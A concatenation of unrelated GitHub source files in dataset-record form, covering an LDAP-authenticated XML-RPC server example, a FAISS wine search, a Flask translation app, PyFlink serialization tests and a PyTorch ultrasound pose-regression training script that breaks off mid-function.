xmlrpcssl import SecureAuthenticatedXMLRPCServer\nfrom xmlrpcssl.handlers import LdapVerifyingRequestHandler\n\nKEY_SSL = '/tmp/server.key'\nCRT_SSL = '/tmp/server.crt'\n\nOPT_ARGS = {'isMasterUser': False, 'baseUsrLoginDn': 'o=FILL,c=FILL',\n 'ldapServer': 'ldap ip or name',\n 'gidNumber': 'user must be in this group to be authenticated',\n 'baseSearchDn': 'o=FILL,c=FILL',\n 'host': 'user must have access to this host in ldap',\n 'RequestHandler':LdapVerifyingRequestHandler}\n\nserver_ssl = SecureAuthenticatedXMLRPCServer((\"server ip\", int(\"server tcp port\")),\n KEY_SSL, CRT_SSL, **OPT_ARGS)\ndef test():\n '''Toy test function'''\n return datetime.now().strftime(\"%H:%M:%S\")\n\nserver_ssl.register_function(test)\nserver_ssl.serve_forever()\n\n\n","repo_name":"jonDel/xmlrpcssl","sub_path":"examples/server_ldap_xmlrpc_ssl_example.py","file_name":"server_ldap_xmlrpc_ssl_example.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"881942657","text":"import faiss\nimport pandas as pd\nimport streamlit as st\nfrom sentence_transformers import SentenceTransformer\n\n\n@st.cache_resource # 👈 Add the caching decorator\ndef load_model():\n model_name = 'KBLab/sentence-bert-swedish-cased'\n return SentenceTransformer(model_name, device='cpu')\n\n\n@st.cache_resource\ndef load_index():\n return faiss.read_index(\"./wine/wine_data_collect/wines.index\")\n\n\n# Ladda modell och index vid start\nmodel = load_model()\nindex = load_index()\n\n\ndef search_FAISSIndex(data=None, id_col_name=None, query=None, index=None, nprobe=None, model=None, topk=20):\n # Convert the query into embeddings\n query_embedding = model.encode([query])[0]\n dim = query_embedding.shape[0]\n query_embedding = query_embedding.reshape(1, dim)\n\n # Normalize the Query Embedding\n faiss.normalize_L2(query_embedding)\n index.nprobe = nprobe\n\n D, I = index.search(query_embedding, topk)\n ids = [i for i in I][0]\n\n print(ids)\n inner_product = [d for d in D][0]\n\n search_result = pd.DataFrame()\n search_result[\"id\"] = ids\n search_result['cosine_sim'] = inner_product\n\n if data is not None:\n dat = data[data[id_col_name].isin(ids)]\n else:\n dat = pd.DataFrame(ids, columns=[id_col_name])\n dat = pd.merge(dat, search_result, on=id_col_name)\n dat = dat.sort_values('cosine_sim', ascending=False)\n\n return dat\n\n\ndef query_swe_bert(query):\n print(\"Bert query:\\n\" + query)\n search_result = search_FAISSIndex(id_col_name=\"id\", query=query, index=index, nprobe=10, model=model, topk=20)\n combined_list = []\n id_list = [id + 1 for id in search_result['id']]\n for distance, _ids in zip(search_result['cosine_sim'], id_list):\n combined_list.append({\"distance\": distance, \"id\": _ids})\n\n return combined_list\n","repo_name":"kajmund/semantic-bevarages","sub_path":"wine/query/querysvbertwine.py","file_name":"querysvbertwine.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16912669403","text":"from flask import Flask, request, render_template\n\n# START Translate requirements\nfrom google.cloud import translate_v2 as translate\ntranslate_client = translate.Client()\n# END Translate requirements\n\n\napp = Flask(__name__) # Flask is the web framework we're using\n\n@app.route('/', methods=['POST','GET']) # This defines when the function below will be called\ndef translate():\n if request.method == 'POST':\n\n # This code will run if a POST is received\n data = request.form.to_dict(flat=True) # Reads the body of the post request and assigns it to the \"data\" variable\n result = translate_client.translate(data['inputText'], target_language=data[\"toLang\"]) # Sends data to the translate API\n return render_template('index.html',translatedText=result['translatedText']) # Renders the page with the response\n\n else:\n\n # This code will run if a GET is received\n return render_template('index.html')\n\n\n# Don't worry about this part\nif __name__ == '__main__':\n app.run(host='127.0.0.1', port=8080, debug=True)","repo_name":"philku/gce-uconn-translate","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3523057285","text":"import argparse\nimport random\nfrom typing import List\n\nimport matplotlib.pyplot as plt\nimport networkx as nx\n\nparser = argparse.ArgumentParser(description='Simulates \"broadcast storm\" and shows growth plot of messages in it.\\n'\n 'Be careful with arguments, messages grow really fast.')\nparser.add_argument('-n', '--vertices', type=int, nargs='?', default=5,\n help='amount of vertices in network of complete graph')\nparser.add_argument('-s', '--steps', type=int, nargs='?', default=10,\n help='amount of steps in a simulation')\n\nargs = parser.parse_args()\n\nsteps = args.steps\nn = args.vertices\ninitiator = random.randrange(n)\n\nNet = nx.complete_graph(n)\nfor node, attributes in Net.nodes.items():\n attributes['messages'] = int(node == initiator)\n\nmessage_count = 1\nresults: List[int] = [1]\nfor i in range(1, steps):\n for node, parent_attrs in Net.nodes(data=True):\n parent_messages = parent_attrs['messages']\n parent_attrs['messages'] = 0\n message_count -= parent_messages\n for neighbour in Net[node]:\n c_attrs = Net.node[neighbour]\n c_attrs['messages'] += parent_messages\n message_count += parent_messages\n results.append(message_count)\n\nprint('Step message counts: ', ', '.join(map(str, results)))\n\nplt.subplot(1, 2, 1)\nnx.draw(Net)\nplt.title('Net')\n\nplt.subplot(1, 2, 2)\nplt.plot(list(range(steps)), results)\nplt.xlabel('Steps')\nplt.ylabel('Messages')\n\nplt.show()\n","repo_name":"PaulRaUnite/cps-course","sub_path":"network-1.py","file_name":"network-1.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40390091018","text":"from django.core import validators\nfrom django.db import models\n\nfrom my_plant_app.plant_app.validators import validate_name_capital_letter\n\n\n# Create your models here.\n\nclass Profile(models.Model):\n MAX_LEN_USER = 10\n MAX_LEN_FIRST_NAME = 20\n MAX_LEN_LAST_NAME = 20\n MIN_LEN_USER = 2\n\n username = models.CharField(\n blank=False,\n null=False,\n max_length=MAX_LEN_USER,\n validators=(validators.MinLengthValidator(MIN_LEN_USER),),\n verbose_name='Username',\n )\n\n first_name = models.CharField(\n blank=False,\n null=False,\n max_length=MAX_LEN_FIRST_NAME,\n validators=(validate_name_capital_letter,),\n verbose_name='First Name',\n )\n\n last_name = models.CharField(\n blank=False,\n null=False,\n max_length=MAX_LEN_LAST_NAME,\n validators=(validate_name_capital_letter,),\n verbose_name='Last Name',\n )\n\n profile_picture = models.URLField(blank=True, null=True, verbose_name='Profile picture')\n\n\nclass Plant(models.Model):\n\n class Meta:\n ordering = ['pk']\n\n MAX_LEN_TYPE = 14\n MAX_LEN_NAME = 20\n MIN_LEN_NAME = 2\n\n TYPES = [\n (\"Outdoor Plants\", \"Outdoor Plants\"),\n (\"Indoor Plants\", \"Indoor Plants\"),\n ]\n\n plant_type = models.CharField(\n blank=False,\n null=False,\n max_length=MAX_LEN_TYPE,\n choices=TYPES,\n verbose_name='Type'\n )\n\n name = models.CharField(\n blank=False,\n null=False,\n max_length=MAX_LEN_NAME,\n validators=(validators.MinLengthValidator(MIN_LEN_NAME), validate_name_capital_letter),\n )\n\n image_url = models.URLField(blank=False, null=False,verbose_name='Image Url')\n\n description = models.TextField(blank=False, null=False, )\n\n price = models.FloatField(blank=False, null=False, validators=(validators.MinValueValidator(0.0),))\n","repo_name":"milensski/SoftUni-Python-Web","sub_path":"my_plant_app/my_plant_app/plant_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40058508166","text":"# CONFIGURATION FILE\n\n# Event Name\neventName = 'RecodeIt'\neventNameDatabase = 'recodeit'\n\nideHost = 'http://10.10.11.218:8080/'\nide = True\n\n\n# Duration of test\nduration = 2000 # Format mmss\n\n# Time at which timer becomes red\ntred = '2000' # Format \"mmss\"\n\nuseElectron = False\n\n'''\nWARNING !\nMake Sure that \nlevel1 + level2 + level3 = totalQuestions\n'''\n\n# Total Question to be displayed\ntotalQuestions = 50\n# Level 1 Questions\nlevel1 = 50\n# Level 2 Questions\nlevel2 = 0\n# Level 3 Questions\nlevel3 = 0\n\n# Correct Marks\nmarksCorrect = 2\n\n# Incorrect Marks(DO NOT ADD MINUS SIGN!!!)\nmarksIncorrect = 1\n","repo_name":"pratikdaigavane/MCQ-Pulzion","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"70466655281","text":"from pyflink.common.serialization import JsonRowSerializationSchema, \\\n JsonRowDeserializationSchema, CsvRowSerializationSchema, CsvRowDeserializationSchema, \\\n SimpleStringSchema\nfrom pyflink.common.typeinfo import Types\nfrom pyflink.java_gateway import get_gateway\nfrom pyflink.testing.test_case_utils import PyFlinkTestCase\n\n\nclass TestRowSerializationSchemas(PyFlinkTestCase):\n\n def test_simple_string_schema(self):\n expected_string = 'test string'\n simple_string_schema = SimpleStringSchema()\n self.assertEqual(expected_string.encode(encoding='utf-8'),\n simple_string_schema._j_serialization_schema.serialize(expected_string))\n\n self.assertEqual(expected_string, simple_string_schema._j_deserialization_schema\n .deserialize(expected_string.encode(encoding='utf-8')))\n\n def test_json_row_serialization_deserialization_schema(self):\n jsons = [\"{\\\"svt\\\":\\\"2020-02-24T12:58:09.209+0800\\\"}\",\n \"{\\\"svt\\\":\\\"2020-02-24T12:58:09.209+0800\\\", \"\n \"\\\"ops\\\":{\\\"id\\\":\\\"281708d0-4092-4c21-9233-931950b6eccf\\\"},\\\"ids\\\":[1, 2, 3]}\",\n \"{\\\"svt\\\":\\\"2020-02-24T12:58:09.209+0800\\\"}\"]\n expected_jsons = [\"{\\\"svt\\\":\\\"2020-02-24T12:58:09.209+0800\\\",\\\"ops\\\":null,\\\"ids\\\":null}\",\n \"{\\\"svt\\\":\\\"2020-02-24T12:58:09.209+0800\\\",\"\n \"\\\"ops\\\":{\\\"id\\\":\\\"281708d0-4092-4c21-9233-931950b6eccf\\\"},\"\n \"\\\"ids\\\":[1,2,3]}\",\n \"{\\\"svt\\\":\\\"2020-02-24T12:58:09.209+0800\\\",\\\"ops\\\":null,\\\"ids\\\":null}\"]\n\n row_schema = Types.ROW_NAMED([\"svt\", \"ops\", \"ids\"],\n [Types.STRING(),\n Types.ROW_NAMED(['id'], [Types.STRING()]),\n Types.PRIMITIVE_ARRAY(Types.INT())])\n\n json_row_serialization_schema = JsonRowSerializationSchema.builder() \\\n .with_type_info(row_schema).build()\n json_row_deserialization_schema = JsonRowDeserializationSchema.builder() \\\n .type_info(row_schema).build()\n\n for i in range(len(jsons)):\n j_row = json_row_deserialization_schema._j_deserialization_schema\\\n .deserialize(bytes(jsons[i], encoding='utf-8'))\n result = str(json_row_serialization_schema._j_serialization_schema.serialize(j_row),\n encoding='utf-8')\n self.assertEqual(expected_jsons[i], result)\n\n def test_csv_row_serialization_schema(self):\n JRow = get_gateway().jvm.org.apache.flink.types.Row\n\n j_row = JRow(3)\n j_row.setField(0, \"BEGIN\")\n j_row.setField(2, \"END\")\n\n def field_assertion(field_info, csv_value, value, field_delimiter):\n row_info = Types.ROW([Types.STRING(), field_info, Types.STRING()])\n expected_csv = \"BEGIN\" + field_delimiter + csv_value + field_delimiter + \"END\\n\"\n j_row.setField(1, value)\n\n csv_row_serialization_schema = CsvRowSerializationSchema.Builder(row_info)\\\n .set_escape_character('*').set_quote_character('\\'')\\\n .set_array_element_delimiter(':').set_field_delimiter(';').build()\n csv_row_deserialization_schema = CsvRowDeserializationSchema.Builder(row_info)\\\n .set_escape_character('*').set_quote_character('\\'')\\\n .set_array_element_delimiter(':').set_field_delimiter(';').build()\n\n serialized_bytes = csv_row_serialization_schema._j_serialization_schema.serialize(j_row)\n self.assertEqual(expected_csv, str(serialized_bytes, encoding='utf-8'))\n\n j_deserialized_row = csv_row_deserialization_schema._j_deserialization_schema\\\n .deserialize(expected_csv.encode(\"utf-8\"))\n self.assertTrue(j_row.equals(j_deserialized_row))\n\n field_assertion(Types.STRING(), \"'123''4**'\", \"123'4*\", \";\")\n field_assertion(Types.STRING(), \"'a;b''c'\", \"a;b'c\", \";\")\n field_assertion(Types.INT(), \"12\", 12, \";\")\n\n test_j_row = JRow(2)\n test_j_row.setField(0, \"1\")\n test_j_row.setField(1, \"hello\")\n\n field_assertion(Types.ROW([Types.STRING(), Types.STRING()]), \"'1:hello'\", test_j_row, \";\")\n test_j_row.setField(1, \"hello world\")\n field_assertion(Types.ROW([Types.STRING(), Types.STRING()]), \"'1:hello world'\", test_j_row,\n \";\")\n field_assertion(Types.STRING(), \"null\", \"null\", \";\")\n","repo_name":"kingreatwill/penter","sub_path":"bigdata_study/pyflink/common/tests/test_serialization_schemas.py","file_name":"test_serialization_schemas.py","file_ext":"py","file_size_in_byte":4514,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"75"} +{"seq_id":"71722092721","text":"import easygui \r\nimport os\r\nimport time\r\n\r\nmsg = \"Load application...\"\r\ntitle = \"Muhindi Njenga's Application Starter\"\r\n\r\n\r\nchoices = ['Google Chrome',\"Iexplore\",\"Codeblocks\"]\r\n\r\nreply = easygui.buttonbox(msg, title, choices=choices)\r\n\r\n\r\nif reply == \"Google Chrome\":\r\n time.sleep(2)\r\n os.startfile(\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\")\r\n print(\"opening chrome ...\")\r\nelif reply == \"Iexplore\":\r\n time.sleep(2)\r\n os.startfile(\"C:\\Program Files\\Internet Explorer\\iexplore.exe\")\r\n print('opening Explore ...')\r\nelif reply == \"Codeblocks\":\r\n time.sleep(2)\r\n os.startfile(\"C:\\Program Files\\CodeBlocks\\codeblocks.exe\")\r\n print('opening codeblocks ...')\r\nelse:\r\n time.sleep(2)\r\n print(\"Done\")\r\n \r\n","repo_name":"Jackasoft/app-starter-with-python","sub_path":"app_runner.py","file_name":"app_runner.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"32800643453","text":"\"\"\"Find all python files which dont have \"from __future__ import annotation\".\"\"\"\nfrom __future__ import annotations\n\nfrom pathlib import Path\n\n\ndef has_search_str(path, search_string):\n \"\"\"Return True if search string in path.\"\"\"\n for line in path.read_text().splitlines():\n if search_string in line:\n return True\n return False\n\n\ndef rewrite_file(path, import_str):\n \"\"\"Rewrite file to have import statement.\"\"\"\n out = path.read_text().splitlines()\n try:\n index = out[1:].index('\"\"\"')\n except ValueError:\n try:\n index = out[1:].index(\"'''\")\n except ValueError:\n index = -1\n out.insert(index + 2, import_str)\n new_str = \"\\n\".join(out)\n with open(path, \"w\") as fi:\n fi.write(new_str)\n\n\nif __name__ == \"__main__\":\n search_str = \"from __future__ import annotations\"\n base = Path(__file__).parent.parent\n missing = []\n for path in base.rglob(\"*.py\"):\n if not has_search_str(path, search_str):\n rewrite_file(path, search_str)\n for path in missing:\n print(path)\n","repo_name":"DASDAE/dascore","sub_path":"scripts/find_futures.py","file_name":"find_futures.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"75"} +{"seq_id":"37687746679","text":"import Database.database as db\nimport Network.rest as nw\nimport threading\n\nInitialized = False\n\ndef MainThread():\n global Initalized\n\n while True:\n if not Initialized:\n continue\n\nt = threading.Thread(target=MainThread)\nt.start()\n\n#Init\ndb.Init()\nnw.Init()\nInitialized = True\n\n\n#Run\nnw.Run()","repo_name":"cvelebit/Adventure-Game-CSCI-351","sub_path":"MyGameServer/MyGameServer.py","file_name":"MyGameServer.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32646632880","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nfrom torch.utils.data import Dataset\nimport numpy as np\n# import torchvision.models.resnet as resnet\nfrom networks import resnet\nfrom networks import resnext\nimport time\nimport os\nfrom os import path\nimport random\nfrom stl import mesh\nimport SimpleITK as sitk\nimport cv2\nfrom datetime import datetime\nimport argparse\nimport tools\nimport loss_functions\n# from functions import mahalanobis\nfrom networks import generators\nfrom networks import mynet\nfrom networks import p3d\nfrom networks import densenet\n\n################\n\ndesc = 'Training registration generator'\nparser = argparse.ArgumentParser(description=desc)\nparser.add_argument('-i', '--init_mode',\n type=str,\n help=\"mode of training with different transformation matrics\",\n default='random_SRE2')\n\nparser.add_argument('-t', '--training_mode',\n type=str,\n help=\"mode of training with different starting points\",\n default='scratch')\n\nparser.add_argument('-m', '--model_filename',\n type=str,\n help=\"name of the pre-trained mode file\",\n default='None')\n\nparser.add_argument('-l', '--learning_rate',\n type=float,\n help='Learning rate',\n default=5e-6)\n\nparser.add_argument('-d', '--device_no',\n type=int,\n choices=[0, 1, 2, 3, 4, 5, 6, 7],\n help='GPU device number [0-7]',\n default=0)\n\nparser.add_argument('-e', '--epochs',\n type=int,\n help='number of training epochs',\n default=500)\n\nparser.add_argument('-n', '--network_type',\n type=str,\n help='choose different network architectures'\n 'the size of inputs/outputs are the same'\n 'could be original, resnext101',\n default='resnext50')\n\nparser.add_argument('-info', '--information',\n type=str,\n help='infomation of this round of experiment',\n default='Here is the information')\n\nparser.add_argument('-ns', '--neighbour_slice',\n type=int,\n help='number of slice that acts as one sample',\n default='8')\n\nparser.add_argument('-it', '--input_type',\n type=str,\n help='input type of the network,'\n 'org_img, diff_img, optical flow',\n default='org_img')\n\nparser.add_argument('-ot', '--output_type',\n type=str,\n help='output type of the network,'\n 'average_dof, separate_dof, sum_dof',\n default='average_dof')\n\npretrain_model_str = '0213-092230'\n\nnetworks3D = ['resnext50', 'resnext101', 'densenet121', 'mynet', 'mynet2', 'p3d']\n\nnet = 'Generator'\nbatch_size = 28\nuse_last_pretrained = False\ncurrent_epoch = 0\n\nargs = parser.parse_args()\ndevice_no = args.device_no\nepochs = args.epochs\n\ntraining_progress = np.zeros((epochs, 4))\n\nhostname = os.uname().nodename\nzion_common = '/zion/guoh9'\non_arc = False\nif 'arc' == hostname:\n on_arc = True\n print('on_arc {}'.format(on_arc))\n # device = torch.device(\"cuda:{}\".format(device_no))\n zion_common = '/raid/shared/guoh9'\n batch_size = 64\n# device = torch.device(\"cuda:{}\".format(device_no) if torch.cuda.is_available() else \"cpu\")\ndevice = torch.device(\"cuda:{}\".format(device_no))\n# print('start device {}'.format(device))\n\nfan_mask = cv2.imread('data/avg_img.png', 0)\n\nnormalize_dof = True\ndof_stats = np.loadtxt('infos/dof_stats.txt')\n\ndef data_transform(input_img, crop_size=224, resize=224, normalize=False, masked_full=False):\n \"\"\"\n Crop and resize image as you wish. This function is shared through multiple scripts\n :param input_img: please input a grey-scale numpy array image\n :param crop_size: center crop size, make sure do not contain regions beyond fan-shape\n :param resize: resized size\n :param normalize: whether normalize the image\n :return: transformed image\n \"\"\"\n if masked_full:\n input_img[fan_mask == 0] = 0\n masked_full_img = input_img[112:412, 59:609]\n return masked_full_img\n\n h, w = input_img.shape\n if crop_size > 480:\n crop_size = 480\n x_start = int((h - crop_size) / 2)\n y_start = int((w - crop_size) / 2)\n\n patch_img = input_img[x_start:x_start+crop_size, y_start:y_start+crop_size]\n\n patch_img = cv2.resize(patch_img, (resize, resize))\n # cv2.imshow('patch', patch_img)\n # cv2.waitKey(0)\n if normalize:\n patch_img = patch_img.astype(np.float64)\n patch_img = (patch_img - np.min(patch_img)) / (np.max(patch_img) - np.mean(patch_img))\n\n return patch_img\n\n\ndef define_model(model_type, pretrained_path='', neighbour_slice=args.neighbour_slice,\n input_type=args.input_type, output_type=args.output_type):\n if input_type == 'diff_img':\n input_channel = neighbour_slice - 1\n else:\n input_channel = neighbour_slice\n\n if model_type == 'prevost':\n model_ft = generators.PrevostNet()\n elif model_type == 'resnext50':\n model_ft = resnext.resnet50(sample_size=2, sample_duration=16, cardinality=32)\n model_ft.conv1 = nn.Conv3d(in_channels=1, out_channels=64, kernel_size=(3, 7, 7),\n stride=(1, 2, 2), padding=(1, 3, 3), bias=False)\n elif model_type == 'resnext101':\n model_ft = resnext.resnet101(sample_size=2, sample_duration=16, cardinality=32)\n model_ft.conv1 = nn.Conv3d(in_channels=1, out_channels=64, kernel_size=(3, 7, 7),\n stride=(1, 2, 2), padding=(1, 3, 3), bias=False)\n # model_ft.conv1 = nn.Conv3d(neighbour_slice, 64, kernel_size=7, stride=(1, 2, 2),\n # padding=(3, 3, 3), bias=False)\n elif model_type == 'resnet152':\n model_ft = resnet.resnet152(pretrained=True)\n model_ft.conv1 = nn.Conv2d(input_channel, 64, kernel_size=7, stride=2,\n padding=3, bias=False)\n elif model_type == 'resnet101':\n model_ft = resnet.resnet101(pretrained=True)\n model_ft.conv1 = nn.Conv2d(input_channel, 64, kernel_size=7, stride=2,\n padding=3, bias=False)\n elif model_type == 'resnet50':\n model_ft = resnet.resnet50(pretrained=True)\n model_ft.conv1 = nn.Conv2d(input_channel, 64, kernel_size=7, stride=2,\n padding=3, bias=False)\n elif model_type == 'resnet34':\n model_ft = resnet.resnet34(pretrained=False)\n model_ft.conv1 = nn.Conv2d(input_channel, 64, kernel_size=7, stride=2,\n padding=3, bias=False)\n elif model_type == 'resnet18':\n model_ft = resnet.resnet18(pretrained=True)\n model_ft.conv1 = nn.Conv2d(input_channel, 64, kernel_size=7, stride=2,\n padding=3, bias=False)\n elif model_type == 'mynet':\n model_ft = mynet.resnet50(sample_size=2, sample_duration=16, cardinality=32)\n model_ft.conv1 = nn.Conv3d(in_channels=1, out_channels=64, kernel_size=(3, 7, 7),\n stride=(1, 2, 2), padding=(0, 3, 3), bias=False)\n elif model_type == 'mynet2':\n model_ft = generators.My3DNet()\n elif model_type == 'p3d':\n model_ft = p3d.P3D63()\n model_ft.conv1_custom = nn.Conv3d(1, 64, kernel_size=(1, 7, 7), stride=(1, 2, 2),\n padding=(0, 3, 3), bias=False)\n elif model_type == 'densenet121':\n model_ft = densenet.densenet121()\n else:\n print('network type of <{}> is not supported, use original instead'.format(network_type))\n model_ft = generators.PrevostNet()\n\n num_ftrs = model_ft.fc.in_features\n\n if model_type == 'mynet':\n num_ftrs = 384\n elif model_type == 'prevost':\n num_ftrs = 576\n\n if output_type == 'average_dof' or output_type == 'sum_dof':\n # model_ft.fc = nn.Linear(128, 6)\n model_ft.fc = nn.Linear(num_ftrs, 6)\n else:\n # model_ft.fc = nn.Linear(128, (neighbour_slice - 1) * 6)\n model_ft.fc = nn.Linear(num_ftrs, (neighbour_slice - 1) * 6)\n\n\n\n # if args.training_mode == 'finetune':\n # model_path = path.join(results_dir, args.model_filename)\n # if path.isfile(model_path):\n # print('Loading model from <{}>...'.format(model_path))\n # model_ft.load_state_dict(torch.load(model_path))\n # print('Done')\n # else:\n # print('<{}> not exists! Training from scratch...'.format(model_path))\n\n if pretrained_path:\n if path.isfile(pretrained_path):\n print('Loading model from <{}>...'.format(pretrained_path))\n model_ft.load_state_dict(torch.load(pretrained_path, map_location='cuda:0'))\n # model_ft.load_state_dict(torch.load(pretrained_path))\n print('Done')\n else:\n print('<{}> not exists! Training from scratch...'.format(pretrained_path))\n else:\n print('Train this model from scratch!')\n\n model_ft.cuda()\n model_ft = model_ft.to(device)\n print('define model device {}'.format(device))\n return model_ft\n\n\n# input an image array\n# normalize values to 0-255\ndef array_normalize(input_array):\n max_value = np.max(input_array)\n min_value = np.min(input_array)\n # print('max {}, min {}'.format(max_value, min_value))\n k = 255 / (max_value - min_value)\n min_array = np.ones_like(input_array) * min_value\n normalized = k * (input_array - min_array)\n return normalized\n\n\ndef filename_list(dir):\n images = []\n dir = os.path.expanduser(dir)\n # print('dir {}'.format(dir))\n for filename in os.listdir(dir):\n # print(filename)\n file_path = path.join(dir, filename)\n images.append(file_path)\n # print(file_path)\n # print(images)\n return images\n\n\ndef normalize_volume(input_volume):\n # print('input_volume shape {}'.format(input_volume.shape))\n mean = np.mean(input_volume)\n std = np.std(input_volume)\n\n normalized_volume = (input_volume - mean) / std\n # print('normalized shape {}'.format(normalized_volume.shape))\n # time.sleep(30)\n return normalized_volume\n\n\ndef scale_volume(input_volume, upper_bound=255, lower_bound=0):\n max_value = np.max(input_volume)\n min_value = np.min(input_volume)\n\n k = (upper_bound - lower_bound) / (max_value - min_value)\n scaled_volume = k * (input_volume - min_value) + lower_bound\n # print('min of scaled {}'.format(np.min(scaled_volume)))\n # print('max of scaled {}'.format(np.max(scaled_volume)))\n return scaled_volume\n\n\nclass FreehandUS4D(Dataset):\n\n def __init__(self, root_dir, initialization, transform=None):\n \"\"\"\n \"\"\"\n samples = filename_list(root_dir)\n # print('samples\\n{}'.format(samples))\n # time.sleep(30)\n self.samples = samples\n self.transform = transform\n self.initialization = initialization\n\n def __len__(self):\n return len(self.samples)\n\n def __getitem__(self, idx):\n \"\"\"\n :param idx:\n :return:\n \"\"\"\n # case_folder = '/zion/guoh9/US_recon/US_vid_frames/train/Case0141'\n case_folder = self.samples[idx]\n case_id = int(case_folder[-4:])\n\n norm_path = path.normpath(case_folder)\n res = norm_path.split(os.sep)\n status = res[-2]\n\n \"\"\" Make sure we do not use weird BK scans \"\"\"\n if case_id not in clean_ids[status]:\n case_id = int(np.random.choice(clean_ids[status], 1)[0])\n case_folder = path.join(data_dir, status, 'Case{:04}'.format(case_id))\n\n aurora_pos = np.loadtxt(path.join(pos_dir, 'Case{:04}.txt'.format(case_id)))\n calib_mat = np.loadtxt(path.join(uronav_dir, '{}/Case{:04}/Case{:04}_USCalib.txt'.format(status, case_id, case_id)))\n\n frame_num = len(os.listdir(case_folder))\n sample_size = args.neighbour_slice\n # print('Case{:04} have {} frames'.format(case_id, frame_num))\n # print('sample_size {}'.format(sample_size))\n\n valid_range = frame_num - sample_size\n start_id = np.random.randint(low=0, high=valid_range, size=1)[0]\n start_params = aurora_pos[start_id, :]\n # start_mat = tools.params_to_mat44(trans_params=start_params, cam_cali_mat=calib_mat)\n # print('selected start index {}'.format(rand_num))\n\n select_ids = tools.sample_ids(slice_num=frame_num, neighbour_num=sample_size,\n sample_option='normal',\n random_reverse_prob=0, self_prob=0)\n # print('{} slices, select_ids\\n{}'.format(frame_num, select_ids))\n # time.sleep(30)\n\n sample_slices = []\n labels = []\n # for slice_index in range(start_id, start_id + sample_size):\n # for slice_index in select_ids:\n for i in range(select_ids.shape[0]):\n slice_index = select_ids[i]\n slice_path = path.join(case_folder, '{:04}.jpg'.format(slice_index))\n slice_img = cv2.imread(slice_path, 0)\n slice_img = data_transform(slice_img, masked_full=False)\n sample_slices.append(slice_img)\n # print('slice_img shape {}'.format(slice_img.shape))\n\n # if slice_index != select_ids[0]:\n if i != select_ids.shape[0] - 1:\n first_id = select_ids[i]\n second_id = select_ids[i + 1]\n dof = tools.get_6dof_label(trans_params1=aurora_pos[first_id, :],\n trans_params2=aurora_pos[second_id, :],\n cam_cali_mat=calib_mat)\n labels.append(dof)\n # format_labels = np.asarray(labels)\n # format_labels = np.around(format_labels, decimals=3)\n\n if args.input_type == 'diff_img':\n diff_imgs = []\n for sample_id in range(1, len(sample_slices)):\n diff_imgs.append(sample_slices[sample_id] - sample_slices[sample_id - 1])\n sample_slices = np.asarray(diff_imgs)\n # print('sample_slices shape {}'.format(sample_slices.shape))\n # time.sleep(30)\n else:\n sample_slices = np.asarray(sample_slices)\n\n if args.output_type == 'average_dof':\n labels = np.mean(np.asarray(labels), axis=0)\n elif args.output_type == 'sum_dof':\n end2end_dof = tools.get_6dof_label(trans_params1=aurora_pos[select_ids[0], :],\n trans_params2=aurora_pos[select_ids[-1], :],\n cam_cali_mat=calib_mat)\n labels = end2end_dof\n else:\n labels = np.asarray(labels).flatten()\n # print('sample_slices shape {}'.format(sample_slices.shape))\n # print('labels shape {}'.format(labels.shape))\n # print('int_label\\n{}'.format(format_labels))\n # time.sleep(30)\n\n if network_type in networks3D:\n sample_slices = np.expand_dims(sample_slices, axis=0)\n # print('sample_slices shape {}'.format(sample_slices.shape))\n # time.sleep(30)\n\n if normalize_dof:\n labels = (labels - dof_stats[:, 0]) / dof_stats[:, 1]\n # print(labels.shape)\n # print(labels)\n # time.sleep(30)\n\n\n sample_slices = torch.from_numpy(sample_slices).float().to(device)\n labels = torch.from_numpy(labels).float().to(device)\n # print('dataloader device {}'.format(device))\n # print('sample_slices shape {}'.format(sample_slices.shape))\n # print('labels shape {}'.format(labels.shape))\n\n # print('selected_ids\\n{}'.format(select_ids))\n # print('labels\\n{}'.format(labels))\n # time.sleep(30)\n return sample_slices, labels, case_id, start_params, calib_mat\n\n\ndef get_dist_loss(labels, outputs, start_params, calib_mat):\n # print('labels shape {}'.format(labels.shape))\n # print('outputs shape {}'.format(outputs.shape))\n # print('start_params shape {}'.format(start_params.shape))\n # print('calib_mat shape {}'.format(calib_mat.shape))\n\n # print('labels_before\\n{}'.format(labels.shape))\n labels = labels.data.cpu().numpy()\n outputs = outputs.data.cpu().numpy()\n if normalize_dof:\n labels = labels / dof_stats[:, 1] + dof_stats[:, 0]\n outputs = outputs / dof_stats[:, 1] + dof_stats[:, 0]\n\n\n start_params = start_params.data.cpu().numpy()\n calib_mat = calib_mat.data.cpu().numpy()\n\n if args.output_type == 'sum_dof':\n batch_errors = []\n for sample_id in range(labels.shape[0]):\n gen_param = tools.get_next_pos(trans_params1=start_params[sample_id, :],\n dof=outputs[sample_id, :],\n cam_cali_mat=calib_mat[sample_id, :, :])\n gt_param = tools.get_next_pos(trans_params1=start_params[sample_id, :],\n dof=labels[sample_id, :],\n cam_cali_mat=calib_mat[sample_id, :, :])\n gen_param = np.expand_dims(gen_param, axis=0)\n gt_param = np.expand_dims(gt_param, axis=0)\n\n result_pts = 